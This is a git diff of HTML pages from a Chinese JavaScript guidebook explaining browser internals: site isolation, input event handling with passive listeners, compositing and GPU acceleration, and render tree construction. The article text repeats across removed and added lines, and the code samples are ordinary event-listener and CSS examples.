                    同源策略 是 web 的核心安全模型。同源策略确保站点在未得到其它站点许可的情况下不能获取其数据。安全攻击的一个主要目标就是绕过同源策略。进程隔离是分离站点的最高效的手段。随着 Meltdown and Spectre 的出现,使用进程来分离站点愈发势在必行。Chrome 67 版本后,桌面版 Chrome 都默认开启了站点隔离,每个标签页的 iframe 都有一个单独的渲染进程。

                    站点隔离示意图

                    启用站点隔离是多年来工程人员努力的结果。站点隔离并不只是分配不同的渲染进程这么简单。它从根本上改变了 iframe 的通信方式。在一个页面上打开开发者工具,让 iframe 在不同的进程上运行,这意味着开发者工具必须在幕后工作,以使它看起来无缝。即使运行一个简单的 Ctrl + F 来查找页面中的一个单词,也意味着在不同的渲染器进程中进行搜索。

                    参考资料

                    - + diff --git a/browser-object-model/browser-working-principle/browser-event/index.html b/browser-object-model/browser-working-principle/browser-event/index.html index 32cb2b900..b3a81f89a 100644 --- a/browser-object-model/browser-working-principle/browser-event/index.html +++ b/browser-object-model/browser-working-principle/browser-event/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 浏览器事件处理 - JavaScript Guidebook -

                    浏览器事件处理

                    输入事件

                    听到 输入事件 这个字眼,你脑海里闪现的恐怕只是输入文本或点击鼠标。但在浏览器眼中,输入意味着一切用户行为。不单滚动鼠标滑轮是输入事件,触摸屏幕、滑动鼠标同样也是用户输入事件。

                    诸如触摸屏幕之类用户手势产生时,浏览器进程会率先将其捕获。然而浏览器进程所掌握的信息仅限于行为发生的区域,因为标签页里的内容都由渲染进程负责处理,所以浏览器进程会将事件类型(如 touchstart)及其坐标发送给渲染进程。渲染进程会寻至事件目标,运行其事件监听器,妥善地处理事件。

                    输入事件由浏览器进程发往渲染进程

                    合成器接收输入事件

                    悬于页面图层的视图窗口

                    在上篇文章里,我们探讨了合成器如何通过合成栅格化图层,实现流畅的页面滚动。如果页面上没有添加任何事件监听,合成器线程会创建独立于主线程的新合成帧。但要是页面上添加了事件监听呢?合成器线程又是如何得知事件是否需要处理的?

                    理解非立即可滚动区

                    因为运行 JavaScript 脚本是主线程的工作,所以页面合成后,合成进程会将页面里添加了事件监听的区域标记为 非立即可滚动区。有了这个信息,如果输入事件发生在这一区域,合成进程可以确定应将其发往主线程处理。如输入事件发生在这一区域之外,合成进程则确定无需等待主线程,可继续合成新帧。

                    非立即可滚动区输入描述示意图

                    设置事件处理器时须注意

                    Web 开发中常用的事件处理模式是 事件代理。因为事件会冒泡,所以你可以在最顶层的元素中添加一个事件处理器,用来代理事件目标产生的任务。下面这样的代码,你可能见过,或许也写过。

                    document.body.addEventListener('touchstart', (event) => {
                    if (event.target === area) {
                    event.preventDefault();
                    }
                    });

                    这样只需添加一个事件监听器,即可监听所有元素,的确十分省事。然而,如果站在浏览器的角度去考量,这等于把整个页面都标记成了 非立即可滚动区,意味着即便你设计的应用本不必理会页面上一些区域的输入行为,合成线程也必须在每次输入事件产生后与主线程通信并等待返回。如此则得不偿失,使原本能保障页面滚动流畅的合成器没了用武之地。

                    你可以给事件监听添加一个 passive: true 选项 ,将这种负面效果最小化。这会提示浏览器你想继续在主线程中监听事件,但合成器不必停滞等候,可接着创建新的合成帧。

                    document.body.addEventListener(
                    'touchstart',
                    (event) => {
                    if (event.target === area) {
                    event.preventDefault();
                    }
                    },
                    {
                    passive: true,
                    }
                    );

                    检查事件是否可撤销

                    部分区域仅可水平方向滚动的网页

                    设想一下这种情形:页面上有一个盒子,你要将其滚动方向限制为水平滚动。

                    为目标事件设置 passive: true 选项可让页面滚动平滑,但在你使用 preventDefault 以限制滚动方向时,垂直方向滚动可能已经触发。使用 event.cancelable 可以检查并阻止这种情况发生。

                    document.body.addEventListener('pointermove', event => {
                    if (event.cancelable) {
                    event.preventDefault(); // 阻止默认的滚动行为
                    /*
                    * 这里设置程序执行任务
                    */
                    }
                    }, {passive:: true});

                    或者,你也可以应用 touch-action 这类 CSS 规则,完全地将事件处理器屏蔽掉。

                    #area {
                    touch-action: pan-x;
                    }

                    定位事件目标

                    主线程检查绘制记录查询坐标X和Y处绘制内容

                    合成器将输入事件发送至主线程后,首先运行的是命中检测。命中检测会使用渲染进程中产生的绘制记录数据,找出事件发生坐标下的内容。

                    降低往主线程发送事件的频率

                    之前的文章里,我们探讨了常见显示屏如何以每秒 60 帧的频率刷新,以及我们要怎样与其刷新频率保持步调一致,以营造出流畅的动画效果。而对于用户的输入行为,常见触摸屏设备的事件传输频率为每秒 60~120 次,常见鼠标设备的事件传输频率为每秒 100 次。可见,输入事件有着比显示屏幕更高的保真度。

                    如果一连串 touchmove 这样的事件以每秒 120 次的频率发送往主线程,那么可能会触发过量的命中检测及 JavaScript 脚本执行。相形而言,我们的屏幕刷新率则低下得多。

                    大量事件涌入合成帧时间轴会造成页面闪烁

                    为了降低往主线程中传递过量调用,Chrome 会合并这些连续事件(如:wheelmousewheelmousemovepointermovetouchmove 等),并将其延迟至下一次 requestAnimationFrame 前发送。

                    相同的时间轴下事件被合并且延迟发送

                    所有独立的事件,如: keydownkeyupmouseupmousedowntouchstarttouchend 则会立即发往主线程。

                    帧内事件

                    事件合并可帮助大多数 Web 应用构建良好的用户体验。然而,如果你开发的是一个绘图类应用,需要基于 touchmove 事件的坐标绘制线路,那么在你试图画下一根光滑的线条时,区间内的一些坐标点也可能会因事件合并而丢失。这时,你可以使用目标事件的 getCoalescedEvents 方法获取事件合并后的信息。

                    左为流畅的触摸手势路径、右为事件合并后的有限路径

                    window.addEventListener('pointermove', (event) => {
                    const events = event.getCoalescedEvents();
                    for (let event of events) {
                    const x = event.pageX;
                    const y = event.pageY;
                    // 使用 x、y 坐标画线
                    }
                    });

                    参考资料

                    +

                    浏览器事件处理

                    输入事件

                    听到 输入事件 这个字眼,你脑海里闪现的恐怕只是输入文本或点击鼠标。但在浏览器眼中,输入意味着一切用户行为。不单滚动鼠标滑轮是输入事件,触摸屏幕、滑动鼠标同样也是用户输入事件。

                    诸如触摸屏幕之类用户手势产生时,浏览器进程会率先将其捕获。然而浏览器进程所掌握的信息仅限于行为发生的区域,因为标签页里的内容都由渲染进程负责处理,所以浏览器进程会将事件类型(如 touchstart)及其坐标发送给渲染进程。渲染进程会寻至事件目标,运行其事件监听器,妥善地处理事件。

                    输入事件由浏览器进程发往渲染进程

                    合成器接收输入事件

                    悬于页面图层的视图窗口

                    在上篇文章里,我们探讨了合成器如何通过合成栅格化图层,实现流畅的页面滚动。如果页面上没有添加任何事件监听,合成器线程会创建独立于主线程的新合成帧。但要是页面上添加了事件监听呢?合成器线程又是如何得知事件是否需要处理的?

                    理解非立即可滚动区

                    因为运行 JavaScript 脚本是主线程的工作,所以页面合成后,合成进程会将页面里添加了事件监听的区域标记为 非立即可滚动区。有了这个信息,如果输入事件发生在这一区域,合成进程可以确定应将其发往主线程处理。如输入事件发生在这一区域之外,合成进程则确定无需等待主线程,可继续合成新帧。

                    非立即可滚动区输入描述示意图

                    设置事件处理器时须注意

                    Web 开发中常用的事件处理模式是 事件代理。因为事件会冒泡,所以你可以在最顶层的元素中添加一个事件处理器,用来代理事件目标产生的任务。下面这样的代码,你可能见过,或许也写过。

                    document.body.addEventListener('touchstart', (event) => {
                    if (event.target === area) {
                    event.preventDefault();
                    }
                    });

                    这样只需添加一个事件监听器,即可监听所有元素,的确十分省事。然而,如果站在浏览器的角度去考量,这等于把整个页面都标记成了 非立即可滚动区,意味着即便你设计的应用本不必理会页面上一些区域的输入行为,合成线程也必须在每次输入事件产生后与主线程通信并等待返回。如此则得不偿失,使原本能保障页面滚动流畅的合成器没了用武之地。

                    你可以给事件监听添加一个 passive: true 选项 ,将这种负面效果最小化。这会提示浏览器你想继续在主线程中监听事件,但合成器不必停滞等候,可接着创建新的合成帧。

                    document.body.addEventListener(
                    'touchstart',
                    (event) => {
                    if (event.target === area) {
                    event.preventDefault();
                    }
                    },
                    {
                    passive: true,
                    }
                    );

                    检查事件是否可撤销

                    部分区域仅可水平方向滚动的网页

                    设想一下这种情形:页面上有一个盒子,你要将其滚动方向限制为水平滚动。

                    为目标事件设置 passive: true 选项可让页面滚动平滑,但在你使用 preventDefault 以限制滚动方向时,垂直方向滚动可能已经触发。使用 event.cancelable 可以检查并阻止这种情况发生。

                    document.body.addEventListener('pointermove', event => {
                    if (event.cancelable) {
                    event.preventDefault(); // 阻止默认的滚动行为
                    /*
                    * 这里设置程序执行任务
                    */
                    }
                    }, {passive:: true});

                    或者,你也可以应用 touch-action 这类 CSS 规则,完全地将事件处理器屏蔽掉。

                    #area {
                    touch-action: pan-x;
                    }

                    定位事件目标

                    主线程检查绘制记录查询坐标X和Y处绘制内容

                    合成器将输入事件发送至主线程后,首先运行的是命中检测。命中检测会使用渲染进程中产生的绘制记录数据,找出事件发生坐标下的内容。

                    降低往主线程发送事件的频率

                    之前的文章里,我们探讨了常见显示屏如何以每秒 60 帧的频率刷新,以及我们要怎样与其刷新频率保持步调一致,以营造出流畅的动画效果。而对于用户的输入行为,常见触摸屏设备的事件传输频率为每秒 60~120 次,常见鼠标设备的事件传输频率为每秒 100 次。可见,输入事件有着比显示屏幕更高的保真度。

                    如果一连串 touchmove 这样的事件以每秒 120 次的频率发送往主线程,那么可能会触发过量的命中检测及 JavaScript 脚本执行。相形而言,我们的屏幕刷新率则低下得多。

                    大量事件涌入合成帧时间轴会造成页面闪烁

                    为了降低往主线程中传递过量调用,Chrome 会合并这些连续事件(如:wheelmousewheelmousemovepointermovetouchmove 等),并将其延迟至下一次 requestAnimationFrame 前发送。

                    相同的时间轴下事件被合并且延迟发送

                    所有独立的事件,如: keydownkeyupmouseupmousedowntouchstarttouchend 则会立即发往主线程。

                    帧内事件

                    事件合并可帮助大多数 Web 应用构建良好的用户体验。然而,如果你开发的是一个绘图类应用,需要基于 touchmove 事件的坐标绘制线路,那么在你试图画下一根光滑的线条时,区间内的一些坐标点也可能会因事件合并而丢失。这时,你可以使用目标事件的 getCoalescedEvents 方法获取事件合并后的信息。

                    左为流畅的触摸手势路径、右为事件合并后的有限路径

                    window.addEventListener('pointermove', (event) => {
                    const events = event.getCoalescedEvents();
                    for (let event of events) {
                    const x = event.pageX;
                    const y = event.pageY;
                    // 使用 x、y 坐标画线
                    }
                    });

                    参考资料

                    - + diff --git a/browser-object-model/browser-working-principle/composite/index.html b/browser-object-model/browser-working-principle/composite/index.html index 9d111b0bf..219e968ff 100644 --- a/browser-object-model/browser-working-principle/composite/index.html +++ b/browser-object-model/browser-working-principle/composite/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 合并 - JavaScript Guidebook -

                    合并

                    文档结构、元素的样式、元素的几何关系、绘画顺序,这些信息我们都有了,这个时候如果要绘制一个页面,我们需要做的是 把这些信息转化为显示器中的像素,这个转化的过程,叫做 光栅化(rasterizing)

                    那我们要绘制一个页面,最简单的做法是只光栅化视口内(viewport)的网页内容,如果用户进行了页面滚动,就移动光栅帧(rastered frame)并且光栅化更多的内容以补上页面缺失的部分,如下:

                    最简单的光栅化过程

                    Chrome 第一个版本就是采用这种简单的绘制方式,这一方式唯一的缺点就是每当页面滚动,光栅线程都需要对新移进视图的内容进行光栅化,这是一定的性能损耗,为了优化这种情况,Chrome 采取一种更加复杂的叫做合成(compositing)的做法。

                    那么,什么是合成?

                    合成是一种将页面分成若干层,然后分别对它们进行光栅化,最后在一个单独的线程 - 合成线程(compositor thread)里面合并成一个页面的技术。当用户滚动页面时,由于页面各个层都已经被光栅化了,浏览器需要做的只是合成一个新的帧来展示滚动后的效果罢了。页面的动画效果实现也是类似,将页面上的层进行移动并构建出一个新的帧即可。

                    合成的光栅化过程

                    为了实现合成技术,我们需要对元素进行分层,确定哪些元素需要放置在哪一层,主线程需要遍历渲染树来创建一棵层次树(Layer Tree),对于添加了 will-change CSS 属性的元素,会被看做单独的一层,没有 will-change CSS 属性的元素,浏览器会根据情况决定是否要把该元素放在单独的层。

                    LayerTree

                    你可能会想要给页面上所有的元素一个单独的层,然而当页面的层超过一定的数量后,层的合成操作要比在每个帧中光栅化页面的一小部分还要慢,因此衡量你应用的渲染性能是十分重要的一件事情。

                    一旦 Layer Tree 被创建,渲染顺序被确定,主线程会把这些信息通知给合成器线程,合成器线程开始对层次数的每一层进行光栅化。有的层的可以达到整个页面的大小,所以合成线程需要将它们切分为一块又一块的小图块(Tiles),之后将这些小图块分别进行发送给一系列光栅线程(raster threads)进行光栅化,结束后光栅线程会将每个图块的光栅结果存在 GPU Process 的内存中。

                    光栅线程创建图块的位图并发送给GPU

                    为了优化显示体验,合成线程可以给不同的光栅线程赋予不同的优先级,将那些在视口中的或者视口附近的层先被光栅化。

                    当图层上面的图块都被栅格化后,合成线程会收集图块上面叫做绘画四边形(draw quads)的信息来构建一个合成帧(compositor frame)。

                    • 绘画四边形:包含图块在内存的位置以及图层合成后图块在页面的位置之类的信息。
                    • 合成帧:代表页面一个帧的内容的绘制四边形集合。

                    以上所有步骤完成后,合成线程就会通过 IPC 向浏览器进程(browser process)提交(commit)一个渲染帧。这个时候可能有另外一个合成帧被浏览器进程的 UI 线程(UI thread)提交以改变浏览器的 UI。这些合成帧都会被发送给 GPU 从而展示在屏幕上。如果合成线程收到页面滚动的事件,合成线程会构建另外一个合成帧发送给 GPU 来更新页面。

                    合成线程构建出合成帧,合成帧会被发送给浏览器进程然后再发送给GPU

                    合成的好处在于这个过程没有涉及到主线程,所以合成线程不需要等待样式的计算以及 JavaScript 完成执行。这就是为什么合成器相关的动画最流畅,如果某个动画涉及到布局或者绘制的调整,就会涉及到主线程的重新计算,自然会慢很多。

                    硬件加速

                    浏览器接收到网站页面文档后,会将文档中的标记语言解析为 DOM 树。DOM 树和 CSS 结合形成浏览器构建页面的渲染树。渲染树中包含了大量的渲染元素,每个渲染元素会被分到单独一个图层中,每个图层又会被加载到 GPU 形成渲染纹理,而图层在 GPU 中 transform 是不会触发 repaint 的,这点非常类似 3D 绘图功能,最终这些使用 transform 的图层都会由 独立的合成器进程进行处理

                    CSS transform 创建新的复合图层,可以被 GPU 直接用来执行 transofmr 操作。在 Chrome 开发者工具中开启 Show Layer Border 选项后,每个复合涂层就会显示一条黄色的边界。

                    内部原理

                    每个页面元素都有一个独立的渲染进程,包含了主线程和合成线程。

                    • 主线程 负责脚本的执行、CSS 样式计算、计算布局位置(Layout)、将页面元素绘制成位图(Paint)、发送位图给合成线程(Compositor Thread)
                    • 合成线程 则主要负责将位图发送给 GPU、计算页面的可见部分和即将可见部分(滚动)、通知 GPU 绘制位图到屏幕上。加上一个点,GPU 对于动画图形的渲染处理比 CPU 要快,那么就可以达到加速的效果

                    当我们通过某种方法引起浏览器的 reflow 时,需要重新经历样式计算(Style Calculation)和布局(Layout)阶段,导致浏览器重新计算页面中每个 DOM 元素的尺寸及重新布局,伴随着重新进行 repaint,这个过程是非常耗时的。为了把代价降到最低,当然最好只留下合成(Composite)这个步骤最好。假设当我们改变一个容器的样式时,影响的只是它自己,并且还无需重绘,直接通过 GPU 中改变纹理的属性来改变样式,岂不是更好?

                    如果能让元素达到这个效果?

                    就是让 DOM 元素拥有自己的层(Layer)。有了层的概念,让我们从层的概念再来看浏览器的渲染过程:

                    1. 获取 DOM 并将其分割为多个层(Render Layer)
                    2. 将每个层栅格化,并独立地绘制进位图中
                    3. 将这些位图作为纹理上传至 GPU
                    4. 复合多个层来生成最终的屏幕图像(终极 Layer)

                    可以将这个过程理解为设计师的 Phtoshop 文件。在 PS 源文件中,一个图像是由若干个图层相互叠加而展示出来的。分成多个图层的好处就是每个图层相对独立,修改方便,对单个图层的修改不会影响到页面上的其他图层。因此层(Layer)存在的意义在于:用最小的代价来改变某个页面元素。可以将某个 CSS 动画或某个 JS 交互效果抽离到一个单独的渲染层,来达到加速渲染的目的。

                    创建独立图层

                    那么哪些规则能让浏览器主动帮我们创建独立的层呢?

                    • 3D 或者透视变换(perspectivetransform) 的 CSS 属性
                    • backgace-visibilityhidden 的元素
                    • 使用加速视频解码的 <video> 元素
                    • 拥有 3D(WebGL) 上下文或者加速 2D 上下文的 <canvas> 元素
                    • 混合插件(Flash)
                    • opacitytransformfilterbackdrop-filter 应用了 animation 或者 transition(需要是 activeanimation 或者 transition,当 animation 或者 transition 效果未开始或结束后,合成层也会失效)
                    • will-change 设置为 opacitytransformtopleftbottomright(其中 topleft 等需要设置明确的定位属性,如 relative 等)
                    • 拥有加速 CSS filter 过滤器的元素
                    • 元素有一个包含复合层的后代节点(换句话说,就是一个元素拥有一个子元素,该子元素在自己的层里)
                    • 元素有一个兄弟元素在复合图层渲染,并且该兄弟元素的 z-index 较小,那这个元素也会被应用到复合图层

                    实际优化点:

                    • translate 替代 top 改变
                    • opacity 替代 visibility
                    • 不要逐条修改 DOM 的样式,预先定义好 class,然后修改 DOM 的 className
                    • 把 DOM 离线后修改,比如:先把 DOM 给 display: none(有一次 Reflow 重排),然后你修改 100 次,然后再把它显示出来
                    • 不要把 DOM 节点的属性值放在一个循环里当成循环里的变量
                    • 不要使用 table 布局,可能很小的一个小改动会造成整个 table 的重新布局
                    • 动画实现的速度的选择
                    • 对于动画新建吐槽那个
                    • 启用 GPU 硬件加速

                    开启硬件加速

                    CSS 中以下几个属性能触发硬件加速:

                    1. transform
                    2. opacity
                    3. filter
                    4. will-change

                    如果有一些元素不需要用到上述属性,但是需要触发硬件加速效果,可以使用硬编码的技巧来诱导浏览器开启硬件加速。

                    .element {
                    -webkit-transform: translateZ(0);
                    -moz-transform: translateZ(0);
                    -ms-transoform: translateZ(0);
                    -o-transoform: translateZ(0);
                    transform: translateZ(0);
                    transform: rotateZ(360deg);
                    transform: translate3d(0, 0, 0);
                    }

                    这段代码的作用就是让浏览器执行 3D transform。浏览器通过该样式创建了一个独立图层,图层中的动画则有 GPU 进行预处理并且触发了硬件加速。

                    如果某个元素的背后是一个复杂元素,那么该元素的 repaint 操作就会耗费大量的资源,此时也可以使用上面的技巧来减少性能开销。

                    注意事项:

                    1. 过多地开启硬件加速可能会耗费较多内存,因此什么时候开启硬件加速,给多少元素开启硬件加速,需要用测试结果说话
                    2. GPU 渲染会影响字体的抗锯齿效果。这是因为 GPU 和 CPU 具有不同的渲染机制,即使最终硬件加速停止了,文本还是会在动画期间显示得很模糊

                    参考资料

                    +

                    合并

                    文档结构、元素的样式、元素的几何关系、绘画顺序,这些信息我们都有了,这个时候如果要绘制一个页面,我们需要做的是 把这些信息转化为显示器中的像素,这个转化的过程,叫做 光栅化(rasterizing)

                    那我们要绘制一个页面,最简单的做法是只光栅化视口内(viewport)的网页内容,如果用户进行了页面滚动,就移动光栅帧(rastered frame)并且光栅化更多的内容以补上页面缺失的部分,如下:

                    最简单的光栅化过程

                    Chrome 第一个版本就是采用这种简单的绘制方式,这一方式唯一的缺点就是每当页面滚动,光栅线程都需要对新移进视图的内容进行光栅化,这是一定的性能损耗,为了优化这种情况,Chrome 采取一种更加复杂的叫做合成(compositing)的做法。

                    那么,什么是合成?

                    合成是一种将页面分成若干层,然后分别对它们进行光栅化,最后在一个单独的线程 - 合成线程(compositor thread)里面合并成一个页面的技术。当用户滚动页面时,由于页面各个层都已经被光栅化了,浏览器需要做的只是合成一个新的帧来展示滚动后的效果罢了。页面的动画效果实现也是类似,将页面上的层进行移动并构建出一个新的帧即可。

                    合成的光栅化过程

                    为了实现合成技术,我们需要对元素进行分层,确定哪些元素需要放置在哪一层,主线程需要遍历渲染树来创建一棵层次树(Layer Tree),对于添加了 will-change CSS 属性的元素,会被看做单独的一层,没有 will-change CSS 属性的元素,浏览器会根据情况决定是否要把该元素放在单独的层。

                    LayerTree

                    你可能会想要给页面上所有的元素一个单独的层,然而当页面的层超过一定的数量后,层的合成操作要比在每个帧中光栅化页面的一小部分还要慢,因此衡量你应用的渲染性能是十分重要的一件事情。

                    一旦 Layer Tree 被创建,渲染顺序被确定,主线程会把这些信息通知给合成器线程,合成器线程开始对层次数的每一层进行光栅化。有的层的可以达到整个页面的大小,所以合成线程需要将它们切分为一块又一块的小图块(Tiles),之后将这些小图块分别进行发送给一系列光栅线程(raster threads)进行光栅化,结束后光栅线程会将每个图块的光栅结果存在 GPU Process 的内存中。

                    光栅线程创建图块的位图并发送给GPU

                    为了优化显示体验,合成线程可以给不同的光栅线程赋予不同的优先级,将那些在视口中的或者视口附近的层先被光栅化。

                    当图层上面的图块都被栅格化后,合成线程会收集图块上面叫做绘画四边形(draw quads)的信息来构建一个合成帧(compositor frame)。

                    • 绘画四边形:包含图块在内存的位置以及图层合成后图块在页面的位置之类的信息。
                    • 合成帧:代表页面一个帧的内容的绘制四边形集合。

                    以上所有步骤完成后,合成线程就会通过 IPC 向浏览器进程(browser process)提交(commit)一个渲染帧。这个时候可能有另外一个合成帧被浏览器进程的 UI 线程(UI thread)提交以改变浏览器的 UI。这些合成帧都会被发送给 GPU 从而展示在屏幕上。如果合成线程收到页面滚动的事件,合成线程会构建另外一个合成帧发送给 GPU 来更新页面。

                    合成线程构建出合成帧,合成帧会被发送给浏览器进程然后再发送给GPU

                    合成的好处在于这个过程没有涉及到主线程,所以合成线程不需要等待样式的计算以及 JavaScript 完成执行。这就是为什么合成器相关的动画最流畅,如果某个动画涉及到布局或者绘制的调整,就会涉及到主线程的重新计算,自然会慢很多。

                    硬件加速

                    浏览器接收到网站页面文档后,会将文档中的标记语言解析为 DOM 树。DOM 树和 CSS 结合形成浏览器构建页面的渲染树。渲染树中包含了大量的渲染元素,每个渲染元素会被分到单独一个图层中,每个图层又会被加载到 GPU 形成渲染纹理,而图层在 GPU 中 transform 是不会触发 repaint 的,这点非常类似 3D 绘图功能,最终这些使用 transform 的图层都会由 独立的合成器进程进行处理

                    CSS transform 创建新的复合图层,可以被 GPU 直接用来执行 transofmr 操作。在 Chrome 开发者工具中开启 Show Layer Border 选项后,每个复合涂层就会显示一条黄色的边界。

                    内部原理

                    每个页面元素都有一个独立的渲染进程,包含了主线程和合成线程。

                    • 主线程 负责脚本的执行、CSS 样式计算、计算布局位置(Layout)、将页面元素绘制成位图(Paint)、发送位图给合成线程(Compositor Thread)
                    • 合成线程 则主要负责将位图发送给 GPU、计算页面的可见部分和即将可见部分(滚动)、通知 GPU 绘制位图到屏幕上。加上一个点,GPU 对于动画图形的渲染处理比 CPU 要快,那么就可以达到加速的效果

                    当我们通过某种方法引起浏览器的 reflow 时,需要重新经历样式计算(Style Calculation)和布局(Layout)阶段,导致浏览器重新计算页面中每个 DOM 元素的尺寸及重新布局,伴随着重新进行 repaint,这个过程是非常耗时的。为了把代价降到最低,当然最好只留下合成(Composite)这个步骤最好。假设当我们改变一个容器的样式时,影响的只是它自己,并且还无需重绘,直接通过 GPU 中改变纹理的属性来改变样式,岂不是更好?

                    如果能让元素达到这个效果?

                    就是让 DOM 元素拥有自己的层(Layer)。有了层的概念,让我们从层的概念再来看浏览器的渲染过程:

                    1. 获取 DOM 并将其分割为多个层(Render Layer)
                    2. 将每个层栅格化,并独立地绘制进位图中
                    3. 将这些位图作为纹理上传至 GPU
                    4. 复合多个层来生成最终的屏幕图像(终极 Layer)

                    可以将这个过程理解为设计师的 Phtoshop 文件。在 PS 源文件中,一个图像是由若干个图层相互叠加而展示出来的。分成多个图层的好处就是每个图层相对独立,修改方便,对单个图层的修改不会影响到页面上的其他图层。因此层(Layer)存在的意义在于:用最小的代价来改变某个页面元素。可以将某个 CSS 动画或某个 JS 交互效果抽离到一个单独的渲染层,来达到加速渲染的目的。

                    创建独立图层

                    那么哪些规则能让浏览器主动帮我们创建独立的层呢?

                    • 3D 或者透视变换(perspectivetransform) 的 CSS 属性
                    • backgace-visibilityhidden 的元素
                    • 使用加速视频解码的 <video> 元素
                    • 拥有 3D(WebGL) 上下文或者加速 2D 上下文的 <canvas> 元素
                    • 混合插件(Flash)
                    • opacitytransformfilterbackdrop-filter 应用了 animation 或者 transition(需要是 activeanimation 或者 transition,当 animation 或者 transition 效果未开始或结束后,合成层也会失效)
                    • will-change 设置为 opacitytransformtopleftbottomright(其中 topleft 等需要设置明确的定位属性,如 relative 等)
                    • 拥有加速 CSS filter 过滤器的元素
                    • 元素有一个包含复合层的后代节点(换句话说,就是一个元素拥有一个子元素,该子元素在自己的层里)
                    • 元素有一个兄弟元素在复合图层渲染,并且该兄弟元素的 z-index 较小,那这个元素也会被应用到复合图层

                    实际优化点:

                    • translate 替代 top 改变
                    • opacity 替代 visibility
                    • 不要逐条修改 DOM 的样式,预先定义好 class,然后修改 DOM 的 className
                    • 把 DOM 离线后修改,比如:先把 DOM 给 display: none(有一次 Reflow 重排),然后你修改 100 次,然后再把它显示出来
                    • 不要把 DOM 节点的属性值放在一个循环里当成循环里的变量
                    • 不要使用 table 布局,可能很小的一个小改动会造成整个 table 的重新布局
                    • 动画实现的速度的选择
                    • 对于动画新建吐槽那个
                    • 启用 GPU 硬件加速

                    开启硬件加速

                    CSS 中以下几个属性能触发硬件加速:

                    1. transform
                    2. opacity
                    3. filter
                    4. will-change

                    如果有一些元素不需要用到上述属性,但是需要触发硬件加速效果,可以使用硬编码的技巧来诱导浏览器开启硬件加速。

                    .element {
                    -webkit-transform: translateZ(0);
                    -moz-transform: translateZ(0);
                    -ms-transoform: translateZ(0);
                    -o-transoform: translateZ(0);
                    transform: translateZ(0);
                    transform: rotateZ(360deg);
                    transform: translate3d(0, 0, 0);
                    }

                    这段代码的作用就是让浏览器执行 3D transform。浏览器通过该样式创建了一个独立图层,图层中的动画则有 GPU 进行预处理并且触发了硬件加速。

                    如果某个元素的背后是一个复杂元素,那么该元素的 repaint 操作就会耗费大量的资源,此时也可以使用上面的技巧来减少性能开销。

                    注意事项:

                    1. 过多地开启硬件加速可能会耗费较多内存,因此什么时候开启硬件加速,给多少元素开启硬件加速,需要用测试结果说话
                    2. GPU 渲染会影响字体的抗锯齿效果。这是因为 GPU 和 CPU 具有不同的渲染机制,即使最终硬件加速停止了,文本还是会在动画期间显示得很模糊

                    参考资料

                    - + diff --git a/browser-object-model/browser-working-principle/construction-of-render-tree/index.html b/browser-object-model/browser-working-principle/construction-of-render-tree/index.html index 1497ecd15..ce5f45136 100644 --- a/browser-object-model/browser-working-principle/construction-of-render-tree/index.html +++ b/browser-object-model/browser-working-principle/construction-of-render-tree/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 渲染树构建 - JavaScript Guidebook -

                    渲染树构建

                    构建对象模型 中,我们根据 HTML 和 CSS 输入构建了 DOM 树和 CSSOM 树。 不过,它们都是独立的对象,分别网罗文档不同方面的信息:一个描述内容,另一个则是描述需要对文档应用的样式规则。

                    DOM 树和 CSSOM 树将合并后在浏览器屏幕上渲染像素

                    • DOM 树与 CSSOM 树合并后形成渲染树
                    • 渲染树只包含渲染网页所需的节点
                    • 布局 计算每个对象的精确位置和大小
                    • 最后一步是 绘制,使用最终渲染树将像素渲染到屏幕上

                    构建流程

                    浏览器将 DOM 和 CSSOM 合并成一个 渲染树,它会网罗网页上所有可见的 DOM 内容,以及每个节点的所有 CSSOM 样式信息。

                    渲染树构建

                    为了构建渲染树,浏览器大体上完成了下列工作:

                    1. 从 DOM 树的根节点开始遍历每个可见节点
                      • 某些节点不可见(例如脚本标记、元标记等),因为它们不会体现在渲染输出中,所以会被忽略。
                      • 某些节点通过 CSS 隐藏,因此在渲染树中也会被忽略,例如,样式设置为 display: none 属性的节点。
                    2. 对于每个可见节点,为其找到适配的 CSSOM 规则并应用它们。
                    3. 发射可见节点,连同其内容和计算的样式。

                    遍历文档树

                    渲染对象是和 DOM 元素相对应,但这种对应关系并非一一对应。

                    非可视化元素

                    非可视化的 DOM 元素不会被插入渲染树中。

                    例如, <head> 标签以及里面的内容,以及 display:none 的元素也会被去除,但是 visibility 属性值为 hidden 的元素仍会显示。

                    复杂结构元素

                    部分 DOM 元素可对应多个可视化对象。它们往往是具有复杂结构的元素,无法用单一的矩形来描述。

                    例如, select 元素有 3 个渲染器:一个用于显示区域,一个用于下拉列表框,还有一个用于按钮。如果由于宽度不够,文本无法在一行中显示而分为多行,那么新的行也会作为新的呈现器而添加。

                    另一个关于多渲染器的例子是格式无效的 HTML。根据 CSS 规范,行内元素只能仅包含块状元素或行内元素中的一种。如果出现了混合内容,则应创建匿名的块状渲染对象,以包裹行内元素。所以我们平时的 inline-block 可以设置宽高。

                    脱离文档流

                    部分渲染对象对应于 DOM 节点,但树中所在的位置与 DOM 节点不同。

                    例如,浮动定位和绝对定位的元素处于正常的文本流之外,在两棵树上的位置不同,渲染树上标识出真实的结构,并用一个占位结构标识出它们原来的位置。

                    渲染树及对应DOM树

                    样式计算

                    构建渲染树之前,需要计算每一个渲染对象的可视化属性。这是通过计算每个元素的样式属性来完成的。

                    样式包括来自各种来源的样式表行内样式元素HTML 中的可视化属性。其中后者经过转化以匹配 CSS 样式属性。

                    样式表的来源包括浏览器的默认样式表由网页作者提供的样式表以及由浏览器用户提供的用户样式表(浏览器允许您定义自己喜欢的样式。以 Firefox 为例,用户可以将自己喜欢的样式表放在 Firefox Profile 文件夹下)。

                    样式计算存在以下难点:

                    1. 样式数据是一个超大的结构,存储了无数的样式属性,这可能造成内存问题。
                    2. 如果不进行优化,为每一个元素查找匹配的规则会造成性能问题。要为每一个元素遍历整个规则列表来寻找匹配规则,这是一项浩大的工程。选择器会具有很复杂的结构,这就会导致某个匹配过程一开始看起来很可能是正确的,但最终发现其实是徒劳的,必须尝试其他匹配路径。
                    3. 应用规则涉及到相当复杂的层叠规则(用于定义这些规则的层次)

                    主线程解析CSS以添加计算后样式

                    共享样式数据

